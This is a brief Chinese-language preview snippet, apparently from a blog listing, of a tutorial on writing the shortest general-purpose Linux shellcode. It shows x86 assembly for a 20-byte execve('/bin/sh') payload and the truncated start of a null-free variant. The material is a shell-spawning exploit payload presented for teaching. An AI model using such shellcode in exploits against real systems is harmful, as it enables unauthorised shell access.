Linux_ShellCode总结】的更多相关文章

在寄存器都是非理想值情况下(shellcode可根据环境具体触发时寄存器的值做长度调整),我本着最优通用的原则,整理了Linux下32位和64位最短通用shellcode的编写. 32位 有"\x00"最短 20 byte xor ecx,ecx mul ecx mov al,0xb push 0x68732f push 0x6e69622f mov ebx,esp int 0x80 无"\x00"最短 21 byte xor ecx,ecx mul ecx pus…